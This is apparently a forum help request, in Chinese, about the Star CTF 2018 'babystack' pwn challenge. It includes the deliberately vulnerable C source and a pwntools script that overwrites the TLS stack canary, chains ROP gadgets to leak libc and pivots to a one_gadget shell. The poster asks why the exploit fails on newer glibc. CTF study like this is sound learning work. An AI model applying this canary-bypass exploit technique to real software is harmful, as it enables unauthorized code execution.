首页
社区
课程
招聘
[求助] Star CTF 2018 - babystack
发表于: 2025-9-3 11:02 457

[求助] Star CTF 2018 - babystack

2025-9-3 11:02
457
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <errno.h>
#include <stdio.h>
#include <pthread.h>
#include <asm/prctl.h>
#include <sys/prctl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
size_t get_long() {
    char buf[8];
    fgets(buf, 8, stdin);
    return (size_t)atol(buf);
}
size_t readn(int fd, char *buf, size_t n) {
    size_t rc;
    size_t nread = 0;
    while (nread < n) {
        rc = read(fd, &buf[nread], n-nread);
        if (rc == -1) {
            if (errno == EAGAIN || errno == EINTR) {
                continue;
            }
            return -1;
        }
        if (rc == 0) {
            break;
        }
        nread += rc;
 
    }
    return nread;
}
void * start() {
    size_t size;
    char input[0x1000];
    memset(input, 0, 0x1000);
    puts("Welcome to babystack 2018!");
    puts("How many bytes do you want to send?");
    size = get_long();
    if (size > 0x10000) {
        puts("You are greedy!");
        return 0;
    }
    readn(0, input, size);
    puts("It's time to say goodbye.");
    return 0;
}
 
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    pthread_t t;
    puts("");
    puts(" #   #    ####    #####  ######");
    puts("  # #    #    #     #    #");
    puts("### ###  #          #    #####");
    puts("  # #    #          #    #");
    puts(" #   #   #    #     #    #");
    puts("          ####      #    #");
    puts("");
    pthread_create(&t, NULL, &start, 0);
    if (pthread_join(t, NULL) != 0) {
        puts("exit failure");
        return 1;
    }
    puts("Bye bye");
    return 0;
}
  
// gcc -fstack-protector-strong -s -pthread bs.c -o bs -Wl,-z,now,-z,relro

一道通过覆盖 TLS stack_guard 原始 Canary 绕过栈溢出防护的题目。在 Ubuntu 16.04 编译,Ubuntu 24.10 运行

先编写了简易的脚本 GDB 调试,可以找到输入位置,以及 stack_guard 地址,计算偏移:

图片描述

距离 stack_guard0x1838 字节,由于覆盖的 Canary 还需占用 8 字节,实际上应当输入 0x1840 字节数据。

由于我实在不会多线程调试,一直都是调试一半程序就崩溃了,所以就直接写脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
file = './bs'
io = process(file)
elf = ELF(file)
 
bss_addr = elf.bss()
target_addr = bss_addr + 0x8
leave_ret = 0x400955
pop_rdi_ret = 0x400c03
pop_rsi_r15_ret = 0x400c01
pop_r12_r13_r14_r15_ret = 0x400bfc
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
offset = 0x1840
 
io.recvuntil(b'How many bytes do you want to send?\n')
io.sendline(str(offset).encode())
payload = b'a' * 0x1008
payload += p64(0xdeadbeef)
payload += p64(target_addr - 0x8)
payload += flat([pop_rdi_ret, puts_got, puts_plt])
payload += flat([pop_rdi_ret, 0, pop_rsi_r15_ret, target_addr, 0xdeadbeef, read_plt])
payload += p64(leave_ret)
payload = payload.ljust(offset - 0x8, b'a')
payload += p64(0xdeadbeef)
# gdb.attach(io)
io.send(payload)
# pause()
io.recvuntil(b'goodbye.\n')
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.info('puts_addr: %s' % hex(puts_addr))
 
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
one_gadget = libc_base + 0xf6237
 
payload = flat([pop_r12_r13_r14_r15_ret, 0, 0, 0xdeadbeef, 0xdeadbeef, one_gadget])
io.sendline(payload)
 
io.interactive()

第一回合输入泄露 puts GOT 地址、向 bss 段写入数据,最后构造栈迁移,填充数据到 stack_guard ,篡改 Canary,但是这里发送完 payload 后就直接 EOF 报错退出了。

图片描述

GDB 调试一下,发现卡在了这里:

图片描述

按理说,FS:10h 这块是不会被覆盖的,输入位置到 FS:28h 偏移为 0x1838 ,而我只输入 0x1840 字节,应该只是刚好覆盖完成 FS:28h 的。

更离奇的是,发送完 payload 后,stack_guard 地址竟然被覆盖了?!我只是单纯利用 read 覆盖栈内容,为什么还会改变 TLS 的地址信息?

图片描述

我采用的 glibc 是 Ubuntu GLIBC 2.40-1ubuntu3.1,难道这是新版本 glibc 出现的新变动?总之我查看了网上几乎所有的 wp,跟上面脚本的思路是一致的。

恳请大佬们忙里偷闲帮忙解决!万分感谢!


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回